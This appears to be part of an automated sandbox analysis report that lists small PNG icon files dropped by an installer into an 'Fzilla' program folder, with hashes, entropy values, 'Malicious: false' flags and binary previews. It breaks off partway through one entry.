Preview:	.PNG........IHDR... ... .....szz....-IDATx....<M...YU3....l..:..l...m.6..m..~.......>...~/G/;.........@...?...r.{=..{F-.avnn..}...[.;Wz.^...?..`....].?... .Z&.3.$.?..1..!Z.Ac..j.m_}.g=.Y...<.r).u"X.b%7.w.y...P...'O.Q.;.c....q..{[.7H.DJ.."....YX`~a..h.h4tF.gZ..uX}.B..`8..#..$..k....xS...Fw...\|..V.8id0\a8.0..0.&..V}.v bDBBZ5'.7..". !..z.8......\....Vf.U.qx....n....an.1;.......j.H ...q...@..."..].".ub.W;.d2.WI.Vvv'.3.A.......D.....Q.\|:@...x:..C@U.z..X.E17jP.Uq_{.:......S.pqb....0......(K....@Sg.>...s_.p.....D'.nc.....S.=..-f.P....\.[.A..\3...L.Qj....1.Z.y<.W.C.s...)J..E1#.......3..P..:......v..8..k1l....TU.......(...........X.ip.}v.QJ.J4.6\... H;...udeanBi2..ucz....Y..kK)B.>i=..........V...+..4y...mbZeccc.^.......@)F....kV....AQ.{.i. .P.h.5P]-+c..(..........0?c.P..y.....n.Q.V.......W.y.2.s...Al..SNM.....K...!.-Fq.T.R....9..c=.+....d.Rny.9vw'.............H.V..;gT...R7.Qz.)...].h........n...~u.s.i..._...)..s...K.......=.^.}.1..rn}....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1876
Entropy (8bit):	7.864760075337197
Encrypted:	false
SSDEEP:	48:OQVIZdDdSZh9s7+59vvhGeeqgspW1N99F8z:OjvDdsx5vGecwqbAz
MD5:	7BC8ADCB837D715AA95D5C5B726134FB
SHA1:	82514AB5F5C2D6E44C561BDEB6B76396347556B3
SHA-256:	9F793D8265EBDD589ECA4095DA5234424D7191A8B2B77165DBEB0B23FD1E566B
SHA-512:	A9F51315D7548EB3214D95EF250D976BC8D5CFE718835B5F3C49F3AFE94583C37BF7F6EAAE4E4F8C7333FD335B2981B72062117A1B11396B71FDE18678B00A4B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...l...F..].._.........b(W..ZAITffff.4.L.8v..v..Wv.(..;#....Y.+....y.......q.;w.....\vA...=2..{.....,k]..f+.x....V.<...o{....4......>p..n~..'............i.my....M......[n.`..._t.e/....?...l...........1.#.....c\|.e6.i.K.h;k.U.U.v.Z..........p....].~.4M...`../].}...[h.....Lm..E.....iQ+V....ZkJ.1...Z..}....b.B...,Y..<.o.~gb......r.8..g.9.xs._.....^.3..ir.6.?;0.......".,..u...4...t...+....-.%{..Y..?.}...?e.9D.....r...bNo?....$.V>#..T.Q...yK\...e.).J+.09...)...(../..@~...g...~..`._.l.L..........8,.q..!^.hQ...B)I.Y...`....(~...K.e...n.e.]F.....38...v.......t..h.s.H.FS.b.:+}.N.XA.a.s...(+xB...o$.......===..}...............y1.......<.....V..t.m:@@..I..R...H.Q:K.!.....f...BX....xC\....&....b....&.C.(.J.~.".#J.f1g#......9G.@\|..*.......l..'7...B..e4q...x.!..Bd......0&1...Z[.......]..t....w......h...L.Z....r..F.I.....J'.TP....hR.>WkT...<..!..0z.\.....%..S..3hG.!....C._ h.._.....H..!(...p.y....ur..q

C:\Program Files (x86)\Fzilla\resources\lone\32x32\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2017
Entropy (8bit):	7.893700966783866
Encrypted:	false
SSDEEP:	48:O7xcahSv3bJbTkCE7QuFrguW5+tzi6fqPKUL83sJ:O7xthSjxTSzdW5+tzaPpJ
MD5:	E58B86105174AAC7DC9F987668A2CC55
SHA1:	A5D7950AAE880DA3A9858EA396E18F17AFDCD1C4
SHA-256:	81EA31CC08E66F9281490C17AE19B3EE2D220B2D86C11F228724193394298CAC
SHA-512:	68ECE2C9F8DC61867AD612B8BF7D001ED12BF10C1AC5DD87FC432AA69ABB49612BBB6005BBAAB321B50A23EE1847E69BD5772B49BB287F5EBA1E39462313C54B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....,I.@.'..{..s..m.g.m.m.....;V........O...y......O............6./..V.P:.3...?..){).m.O.G.8...q..Yd9g3.......p)\.e..ko.E......D....y.}...M..^......"....],.\|........&\.o#.v.7...y..7{....p#YJ.buRR.n.uR.J.r.B.C[..n....\W.q..!8.. .~..X;....=?..I+'....Q..W..]3O.r.\=l[.....\.wW.%...9.M...[.7~..Qj.+....h.....T.O.j.siw.pP..f..2i.\|..W<$....+.....eE.>#mY.....>.....ZE.l...>}7.}..X.q.tR.P7...j...D..Z.}.....HF`1.yy..p..bY.i..9.........(.5.T.........b9..w\s2.&T.1..t....ZU...}..r@.`.[y...q.......m7...^.....U..Y{.}...E2_...{C..~.9...pM..rt..lm..#73R...L#-....j4...w\..../..1."...C.z.p..c....t...........u[......{;..`2.cy.`5.NAJv....i...Jn.{..A.Q.....;..f.....,UY.YJ...#Ru.N;....B.. .W...C5.mdd...0G.7..z.us.s..-.r&dR.Y.R+..i...<.A..Q#.....jP.Y..=U)..W.h..).J.....7.V...d.XJ...m...&.6......v..x....j.\|{.N....H..:1\f.E.U..T...}E..Y.lm..Y.zq.............u....dh.^...p.o..*...KF".2.b._(.....X..E...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-1ILN8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1878
Entropy (8bit):	7.864969384248042
Encrypted:	false
SSDEEP:	48:OfuLhIF/FrE8C/xYZCQhRkiqj/yaWrpWpJ:OWLhITrExZOh5N6
MD5:	67D308289EE1474FDCE90B41C51AEFDC
SHA1:	D68AE9657A7901D2F8BD4FD05B5775205A5F1851
SHA-256:	F2248107E34D7E0AE7CD995ED1D30E97FE11DCDDA7C5A31D0E9F75CCF1D412C1
SHA-512:	B408EEC16D770C182CF7CD9A3C456801667CF7AAD2FAA4C33C753C30DA7006CDEFD121BA0066636E28BD000BDBFDD9BB5F9E5EFA2437E288BED15B89AB908346
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...p........,4...ffffN.. X.......y.~h.......t&[[.0.&....U....0(^..7.=:.(.H......7._...7.yu..Oe...f...k..^._....`......h.#bP...t..x..[..K.......m..6.....q.-)..s5.hJI.......k...n.Z....E...Q....c..5......4..[u...v...........LOOS..=.......}y....D._.P_(`.`-.T...-t.lS..c..Y..^...PM..}.......O..."%......7..rS...{.5.S?:..c2..y$.6..)p&..S...<...:...P8..t.:.s...+..[..5?x...g.QVR.Q\|..<.p.ZE...1...c....`...Q....p.............fggw_~..S...'...........B.!...`.4..H....hciL.`.4..$.....RJ..w.].v..aM..#&PcHd.qCT.C."...`..X.].Y...@}.$......(.rXUg..U.:.&H..?5.KJ..5.`~..X...ULFl....?E,(...b....E1c..P..^.).,.X.B..b..[_.u...m.l.i.m..ipP.q.u.u....G.&.ms).x.CBW....U.J1...1....~...S.uV0#:x.3........4.&a...J....6..L...bE..}?...G0y.g35....~\|..K...m".a...._.i1.2.....R..\&..SU.T.P.....0t..s.=...p....Q.......N^V.....k.<..zf.NjS.!.X.Z.Dv.#..L..3..K.........3V.E#=?.._....(vO8~w:p.R.../..2.B.6...q.."D.Q0....Xbf.l.S.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-32V5P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.906926285698179
Encrypted:	false
SSDEEP:	48:a9Ajbg2WGjfhxvcKFbY4xIQHoVcOcEqeXxnzWnMpVLvOgCpWzvsbuw8LZBIrCzZH:rnvb7fXjmjXxKm5AWz0aw8Lti4p8x4
MD5:	6199A6543608CD62F1057EA313C73B2B
SHA1:	7D6E574BF769AD70D47AB3D969926E46B2477583
SHA-256:	0F6082A88FBA5E8B9F31FDB35173AE83CA24CEBA4C5F8DC0740FCA5DD87ECA85
SHA-512:	015F37F53DE111C2D16EE66EC006F31FE9D8493F2B12EC2A3004251C78B72BBE1D16304DB0D805B10D627D90DA440E9D3B6034F55E18834BDDDF307847FBF0F6
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W.........vw.t..1.6...\|.?.m..m#..j..Uu.9+.Fk>w..zW..."P.%...b.\.......U..Y.\|.c../.C.....{)......={6b.N...S..+1.......[^Rb.........).Uo&.}.@.g....Q@......N.....c..5.+1q...L&E"...8.@.../.....7o..Mw...{.S(.....].....@k..{}j.2N.~.0.....I+G.:.&tYE.E..^#.H..OY...R.....4. ..h.N......,.D.i.AZ.L@)..p..H2.X..B..J..........R$b1.-.V..{.l6.C.....~..` ..L@.H...\..m...;..t&O.....~.Ahll,.......x...KY.}.......4@..]0...E..."...Be.[.P..cG...g[o.......p6....{....D...8q"...q..R.....H..H..... .>md....&..0.e.PU...`....7U...p.....)BC..=.F$..72......P..........%.(lh2E...V.M...7..Q....Cw...A...i.......;.s......@.5;g.y.. ...?O.tI....8.?:.2Ymi#....j.$.UI..k..G.0p.P....Q.9.........]{5g6..q.....8....&.............~..P{Y.3I@nE$Z....ox..o.}{.,.[.d....A....:.v..}....c.ISB:g._H......._...:.rb.J.P.Dp?..sY6w.1.w8.-+~.....]Ar`@x....6,A...$O.......g.L."i...+.d.Wl./..z.%.vE.^Vg......"8.X...........@^.i.......T..3f.8..k

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-436MN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1791
Entropy (8bit):	7.847449342886944
Encrypted:	false
SSDEEP:	48:eMRtrezczKOBmgsP5My5dD9WvvUQ0kLo8ehAnX:eqKoGghWBw8ZkDIAX
MD5:	D14C43C45AAEE8A0555B0C101BD2069D
SHA1:	EB9438007C8E585A81D35E460D46D1936286C203
SHA-256:	FAFDBE163DAE7AE400D875A3B6C92AE108DDD864A94B368B8E0D1AADB58404C1
SHA-512:	CB83623F871889051A54F5591B11308654BC988B35C7FE0D2A97C9DEE07A95C8BE3970F60F12B3EBFC3662C845D9E70BAE0FE78C44AB76F0AC378220837BE18E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V..d..]eW..ol...c......F0.m.m[m......T....v.s...{..q/..E...6lX......E.p8....MP....Q..}9.<.........'O.....!...Q....(@.n.....r..x.........-...<.@...c}......./B'.:Q...t:.P(...t...<.}....`..$.j...A...4b2...2........0..^.....k4.p..0.{EV........J...>.{......[.@..6l`...{x..........2e.V.^...B2A......___xe@..FI1Y@..5.];..III4..{......_~..o.!Pt.../_...X."......R...SRR...G...7.Y^.~M`..tHOO.3...x. .........h..<C......>0Dd...S'.l..P.fM....,D.....E.T..>p.....K.......ig.._..JV..#....3.K..........^\|MJL.......0..Z..9..x.h....P.C..7.eF......d..%...r...Bd.e ./.e...W....S.w....m.w...L&.t.......!..3\..o.U.(...=...w...g../O4..`.....78e....x....o.....S.b..t..;v`....vV.~..7dee.......:.. ..i......W..t...~..7Qo....50pd..]~.df......T".g.E...q..m\.t.Y....\.\|....BXX...]......]L>(.dE.#>.[.n.c.b[..8...X.<.*.....r_.....XQ.,.w.....pH.e....N@1..LD...O.....}......n...A#...0.7C.(........#.sg........8q....cM............?

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-6R64L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1876
Entropy (8bit):	7.864760075337197
Encrypted:	false
SSDEEP:	48:OQVIZdDdSZh9s7+59vvhGeeqgspW1N99F8z:OjvDdsx5vGecwqbAz
MD5:	7BC8ADCB837D715AA95D5C5B726134FB
SHA1:	82514AB5F5C2D6E44C561BDEB6B76396347556B3
SHA-256:	9F793D8265EBDD589ECA4095DA5234424D7191A8B2B77165DBEB0B23FD1E566B
SHA-512:	A9F51315D7548EB3214D95EF250D976BC8D5CFE718835B5F3C49F3AFE94583C37BF7F6EAAE4E4F8C7333FD335B2981B72062117A1B11396B71FDE18678B00A4B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...l...F..].._.........b(W..ZAITffff.4.L.8v..v..Wv.(..;#....Y.+....y.......q.;w.....\vA...=2..{.....,k]..f+.x....V.<...o{....4......>p..n~..'............i.my....M......[n.`..._t.e/....?...l...........1.#.....c\|.e6.i.K.h;k.U.U.v.Z..........p....].~.4M...`../].}...[h.....Lm..E.....iQ+V....ZkJ.1...Z..}....b.B...,Y..<.o.~gb......r.8..g.9.xs._.....^.3..ir.6.?;0.......".,..u...4...t...+....-.%{..Y..?.}...?e.9D.....r...bNo?....$.V>#..T.Q...yK\...e.).J+.09...)...(../..@~...g...~..`._.l.L..........8,.q..!^.hQ...B)I.Y...`....(~...K.e...n.e.]F.....38...v.......t..h.s.H.FS.b.:+}.N.XA.a.s...(+xB...o$.......===..}...............y1.......<.....V..t.m:@@..I..R...H.Q:K.!.....f...BX....xC\....&....b....&.C.(.J.~.".#J.f1g#......9G.@\|..*.......l..'7...B..e4q...x.!..Bd......0&1...Z[.......]..t....w......h...L.Z....r..F.I.....J'.TP....hR.>WkT...<..!..0z.\.....%..S..3hG.!....C._ h.._.....H..!(...p.y....ur..q

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-78DJR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	7.856124360495591
Encrypted:	false
SSDEEP:	48:O36N3S4t6bXJd4enWubIJTUMJwraJr3uwSeo:vS4EbZd4eWujMDrA
MD5:	93656A2188798221023A385E5CEB374F
SHA1:	991C36F45DC931E04AA95B34990DD27EA73CB02B
SHA-256:	748FC0A5B322D1D171E87D71E7DC2563485C72BD8AD0557B99D12477FAA1DDE7
SHA-512:	F3A6F67215BA0C082E80D39DE2DB43117180F92D185AE2B3FC32A29382D13C27E505DC6E85B44A6B44351C76B2DA515A226919FF74A2FAB32E676FAED4FBE508
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....pe.......A..m{.m.Ux.m...;v46.{..o..2..W./..>.<.a;.#\C...f+..g..m...'..........g.u....\....=..........u..............Qt!....>:.zV......x...?w.5..u...i...\|..cq-`!I8ah..S.Y....c...\^...}.#o.hl.Q...^...r...<......u(...f.w.\|...7.2.....p.......8...A..."..(L.._.....`.r..EL..=.Z..b2.ZCV@.C.....QZ......n..."E..@...{.Jn ...`!q=...(.\|.....w...)XI..@a.( . I@k......F.../.;2.+A.@.U.lb..1.E%.....'..M.18.m#....h5}..H.U..4....E3....I......I{..7....y..D.~D...N`..c.}...0{.......}<....=............^..80...H8zP....<.fZ..".H..\.:..G.c...~.~.GEZ......Hp..@s.)gv]q..S.s....n\..K.c...K......3?.........}.mm^.R..R.].47.zO>..Z-........i.V...Yv...;...[........{nS.0...y%..u.}....q.rz~........'.....b.}.Q........^>k....6w'b...M-..w..HW...+..0...iG...rJ.EQp..(.J]]]..Zg...vex..U(.....,.H.[&...sS...Ax..8<<..^m..B.<...-..=.r..............e.J..n@.... .h<..vL$qN.....Bc....1.,6Y.....(.#.....Q.......H.l...9.HL!.......

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-82R3D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2017
Entropy (8bit):	7.893700966783866
Encrypted:	false
SSDEEP:	48:O7xcahSv3bJbTkCE7QuFrguW5+tzi6fqPKUL83sJ:O7xthSjxTSzdW5+tzaPpJ
MD5:	E58B86105174AAC7DC9F987668A2CC55
SHA1:	A5D7950AAE880DA3A9858EA396E18F17AFDCD1C4
SHA-256:	81EA31CC08E66F9281490C17AE19B3EE2D220B2D86C11F228724193394298CAC
SHA-512:	68ECE2C9F8DC61867AD612B8BF7D001ED12BF10C1AC5DD87FC432AA69ABB49612BBB6005BBAAB321B50A23EE1847E69BD5772B49BB287F5EBA1E39462313C54B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....,I.@.'..{..s..m.g.m.m.....;V........O...y......O............6./..V.P:.3...?..){).m.O.G.8...q..Yd9g3.......p)\.e..ko.E......D....y.}...M..^......"....],.\|........&\.o#.v.7...y..7{....p#YJ.buRR.n.uR.J.r.B.C[..n....\W.q..!8.. .~..X;....=?..I+'....Q..W..]3O.r.\=l[.....\.wW.%...9.M...[.7~..Qj.+....h.....T.O.j.siw.pP..f..2i.\|..W<$....+.....eE.>#mY.....>.....ZE.l...>}7.}..X.q.tR.P7...j...D..Z.}.....HF`1.yy..p..bY.i..9.........(.5.T.........b9..w\s2.&T.1..t....ZU...}..r@.`.[y...q.......m7...^.....U..Y{.}...E2_...{C..~.9...pM..rt..lm..#73R...L#-....j4...w\..../..1."...C.z.p..c....t...........u[......{;..`2.cy.`5.NAJv....i...Jn.{..A.Q.....;..f.....,UY.YJ...#Ru.N;....B.. .W...C5.mdd...0G.7..z.us.s..-.r&dR.Y.R+..i...<.A..Q#.....jP.Y..=U)..W.h..).J.....7.V...d.XJ...m...&.6......v..x....j.\|{.N....H..:1\f.E.U..T...}E..Y.lm..Y.zq.............u....dh.^...p.o..*...KF".2.b._(.....X..E...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-8FHMN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1976
Entropy (8bit):	7.881093197097352
Encrypted:	false
SSDEEP:	48:OD77KfmLVvBE58gXLyjA4V4Wyt1sSjzaEST/1:ODvKeFGvZ4T6XVo1
MD5:	E9ECF626D6ABE0EA06FE28F04184D8F2
SHA1:	96351536B811FE09C04FF9BAA480FB82242B0F90
SHA-256:	9A80D24B7BCC958804B25376E5C39F6A085AA9023463296868DB0B9645E925A4
SHA-512:	94F362062D9E19F18F8C1F2653F350F302279ED78BF33C9A6BCF36428E2A8D5276FBE9D3B10BF8F25CE57040AF6A82457A56378500C060153AB49D7B40749944
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....x.Y...KzS7.........j.m."......m......w...<opon.......5..$...+e>..h7X7..t9\.,....0V..j.\|....PY.00.(.....U.......P.o....=.......%}s.......h......i....#.p.....:....`..G...s...w.X.Z.....Xz.}rm.>...E}..W..W>.4}9.z........`......m.7..(.:..S..&i.^...ODo@..E.7T.-.....'.N.G...b.;HO....-x.n...[...3qG....2.w..P.zx5.;....T....pY.L.x0W.}3.........]<.c.O...1.DS@.x...T.c.ER.N..j.g..].b..cqJ...%.Yp.}K..:...A<..=.W....._.:..gS~ b)e...e.N./..>..kq..h..dx0\|..._Bu.....o.2b!..2G..x&.#..<..F.A..h.y..B0..Br{.c.d...;z._.E......)..G......c`...4=E..]h...].-....].nX.?x\.;\|.}..WU.K..}e.+...x........8.\|^q...mZ.s/<..^....@.........~Qk.p..1.o.I...'l...}...jw.F....0.I.."..rG.(.A..SG..B96.G..T.1..9:f.,..9.n8..w...6...x>..MNK.....3k}Z.....Y{.I.3^.:v'.3L...J..s...b{t.9..z....'ou_..s...u....c....g9.q.p{C.QTp..3.....N..@)....x...P.z .-r..........!.H?.....]...'.*so'...n..b....9'..uE.;I....F...Z.bl.7.0.6..n.......n.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-8OAIS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1845
Entropy (8bit):	7.853334987785862
Encrypted:	false
SSDEEP:	24:M/RZzToQGhPU9eDUJ+QujoBxT0ItoujFA5fwjH8SNvEgY1arEFwsH/LtDtyrtDSf:MLz0hPv8rFA5fevtcaO5/LhQ7aFrXb
MD5:	1EFEC3BD1BD15BF4069801D03C8F187A
SHA1:	9559987867A7EEC95B8DF8C494295ED54C361F20
SHA-256:	0953845EF159B739C9067D57643D180DC04B9D2ACD692DCADE599B7FE35BD85B
SHA-512:	9C9299D44AEA763A2CF2EAD045681621057A9B6EB3EB3BB96791B2E678AF42B690108CD1D49F1AC617951101D2C9DA2A8E1577BB24EF3C7E923D9D4F6022F28F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...t......Q..5Fm....m.m.6..Mz.6.99.]d.ZE.g.o...l.{..?..!`..o....r].eZI(J....X.y.L.eY.....(....u>3>^,6...Bi.......;U....;.i^^.B!...[)..6FF..M.$..8q..,H.....P.....n..m.........P...._......2G...y.~d.....b&.Z........."...w..b.jq.QCQ.>.oD...%.c.7i".^^......b..@K...'.D...+...0..E. .vP........(..Gp.._..'..y....Y.,...H.. .b.iOj....x..K.{..y</.7``7h.....\|(...Y.#...`s........xp..}#.,....... .;Y....X..h..h......;t....!92)...L.Fy.....6...q....../....j@.3.\|F..H@..;.I....p#g..)..j......+....]Q..A...k6h..Y. ....Eu....Ot.O>'.x......+!..._.5...v...........2..p.l....&....." j...FE...zb...[..t.....1....2...o......=3.E.1.F..N&..I..jv{.I../..........jUK...q......Zs5....b....]..+.R$q5}..TJ.FYE.Y..z.&N.5..F\|...H...jx8j.R..`$@QU.....c.5d.w.C0..@............D...H.3........U.%[o..)..Z4..;7.....8%...>}.z;..T..AV.=p.K.......~.\|.B.4.x..2...L3..^..0e7`@....S......@C.V...[m...@s...r/z.%.X..-........-...e.5.l..n.......q.zQ2&..j...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-9HCQM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2144
Entropy (8bit):	7.866695703293741
Encrypted:	false
SSDEEP:	48:mmDmaKpeUGJsIIyzE+ivK1fkAonY380CzvzjwpdklqXm:taaKpeUGJvI4E+UFAonwOopdklT
MD5:	844C67E1160408699D307ADEC217F5B2
SHA1:	84F77A21AC5108AE8D6220FF0FD3BA9D12528011
SHA-256:	FCDB3A3A1BBBC138AF7C64A252E8FFCC5FE24AE5E36C4CD7BD4ED8E48AD33B21
SHA-512:	08DF58DCF3CD368C2B20D7F0C6F20ED9445DBD6B3867E2AE5850043926B2DD36EECDF8D5C13336A39D649D1E5C4D44DD6011CBC25923375E8B53F4791BC0A27A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....'IDATx....kK..w.a.IN[.=...6.m.m.m.m.vw...V...ng.8.^...9.w..r...p~...Jb...Z/;.UVZ.L......&.G...0...3....j.UR2{q.}5i.....x.q..mNNN....~..t.6k..v6..w.K..R..tE.J..p......9$K=.......).....?S(.h;6R.0K.(&R.%.$.a.o...F<y.\|....s.....V.a:6....2.8.......r.>...K....`.M7...]{..\|D...G.e.......q].Rc.ei.E...B......G..$q....R.e$.;...=sBP.!.R...n...\p ......S.\|..m.....!D...M.I.....^O!..~..b.D.D...D..T..... e.0.x....Kh..o...5....z.e.;.G...:...c.=z...N..`\|,N..0..........}.......T@KK...&.8..q..=.1. .5.N. $....:a...5J..8....4.iVeS.A.._...R...-.3a......UB!?....:..;g)....9s..MMM.R.e(.4z.u..{.^.]..d....m...z.B........0`I....RM....>\|......d../..G .i.o..c..900.~......S/-..f.6-.f..4..4.0[a....O..._..t....D....D1,....H....K-..K4....b.{...c.^~'.].(.a............fL..:.~.s...>33.?+..g.#....j...L6.,..P*.I.\|~.......8..W..M7....[.].#..i......UdDz....e._~0.........CE&.!KN...&...~.e..?.P.g(....E.'MN..ZA...y.f.%(.FoB.A[.....bi.j....-......0.1.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-AB7KR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.8157164183499335
Encrypted:	false
SSDEEP:	24:xl862wKE1UmdNjeIEX/zLaQSFQCXVp72uETa2cP060HTEYgO/dUgQbZTiKj6:xP2wdbdN6IEXLeUClp72uR2cP06hSobU
MD5:	396C9DB62CA43EEE5234620E1F927C02
SHA1:	1F15CD28886B5CF8A1CD27D5E2B45CD8F514D8E3
SHA-256:	F1A0E941CBB0D8F24B301AF2CC04B8B3AF013F5DA3B29AB5650814940DD49B25
SHA-512:	F23F23D3B0CF51A619C9E8F3E16076BD785636FF10C3BB8C1A2E65E00B67584F840055E1DA595BCA158B18AD1D0C2FFFA72EEC632C01B040E8EDFCD68FF08AC9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....ZIDATx.......F....m.m..o.m..~.{.I.-n.Rk~U...\WcY.Y.R3SS.gh...^..N".n7....zr.9q....m........13.,....\|D.i...{...S..gT..B].d.B...J`..^.Uq....j.;.Y..Dr!RH.^.ftm.Q..TN.)..,Bw...`..&.Yk.v.qF.....y.N...Yt.......}F.....~i..Xz.#........$ZM.]c.i...+.Q..........r.e`fC....V67+....(.WC..t%.sC..u+.ux.....n.E.]=.~t=.....@.k....w....]]...+..+'.8.G..E..FU.....&.]..m....V.6.....(noU.........p.B. ..^~.+.........D.x...X.m.(.veg....Z...............(....{...zZ,.F.....RI...`.....D....M !1..[.pU.j. .>...x..s.]y..."..>...u...o....?..h..K ..J... .5....h.E..3%q.....g......?..a..?.SQ8l..s.x...r0..U..{!..$" ...!.y.v^H. ).......9.-.i[y.!;.....FL}p^._..J..(\|..../. s....B......##......4.......>;/..._.m..%...:.=.....i+w..}g..G4d.....)...E/]..Y.....A..M.........3W~..,?.....o.W^........6..u" ...[..._\|G..8g.8\|.39.<..(.(.....ik{........ .;... .Q.h.y..:..}...Aj.D.$..@._..X...0l....:5....c.^PD...QW...rC..&.C..!....<.........`:

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-BKGSU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1382
Entropy (8bit):	7.829437550663059
Encrypted:	false
SSDEEP:	24:ZHWbK54kdBk3VZJPt5FmRgGnwkrZQbtxFMdG+iv/XAMzZ8M8RTXzkEk9Qc:ZHWbwLdoZJP3QRgfWQDMdbiXAMzZoS55
MD5:	38F3EF95D2C88E76DE8A86C2767DEDA0
SHA1:	7CE461A8012F2DBF323F3595B32B30C4CC319FC1
SHA-256:	48CF48584A88AC33B86D201CFFD05DF6DDF3DBBCA672F8F76C572443E08CF24F
SHA-512:	EA0ED87445FD039B8C5A8418D34EF7E241731F9205456B7AEBBEAB9670466517CC61D018F21685BA94C1ECC631B18FC25111A3B950C0000D68CF6B55BE5449B8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....-IDATx....<M...YU3....l..:..l...m.6..m..~.......>...~/G/;.........@...?...r.{=..{F-.avnn..}...[.;Wz.^...?..`....].?... .Z&.3.$.?..1..!Z.Ac..j.m_}.g=.Y...<.r).u"X.b%7.w.y...P...'O.Q.;.c....q..{[.7H.DJ.."....YX`~a..h.h4tF.gZ..uX}.B..`8..#..$..k....xS...Fw...\|..V.8id0\a8.0..0.&..V}.v bDBBZ5'.7..". !..z.8......\....Vf.U.qx....n....an.1;.......j.H ...q...@..."..].".ub.W;.d2.WI.Vvv'.3.A.......D.....Q.\|:@...x:..C@U.z..X.E17jP.Uq_{.:......S.pqb....0......(K....@Sg.>...s_.p.....D'.nc.....S.=..-f.P....\.[.A..\3...L.Qj....1.Z.y<.W.C.s...)J..E1#.......3..P..:......v..8..k1l....TU.......(...........X.ip.}v.QJ.J4.6\... H;...udeanBi2..ucz....Y..kK)B.>i=..........V...+..4y...mbZeccc.^.......@)F....kV....AQ.{.i. .P.h.5P]-+c..(..........0?c.P..y.....n.Q.V.......W.y.2.s...Al..SNM.....K...!.-Fq.T.R....9..c=.+....d.Rny.9vw'.............H.V..;gT...R7.Qz.)...].h........n...~u.s.i..._...)..s...K.......=.^.}.1..rn}....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-DC2SG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2105
Entropy (8bit):	7.893806875986684
Encrypted:	false
SSDEEP:	48:nxVn8A3p0M91rqP70z+LCqe4wf40cP+NiBQ4M5jbV5rQ32v2Tt:TP3p0O1g70zGQjcP+NiBQljrQbp
MD5:	BA0F6AD63DF48313FD5338017EAC320B
SHA1:	014D527329A5B35A6559C2F3B0D0669165ADD27A
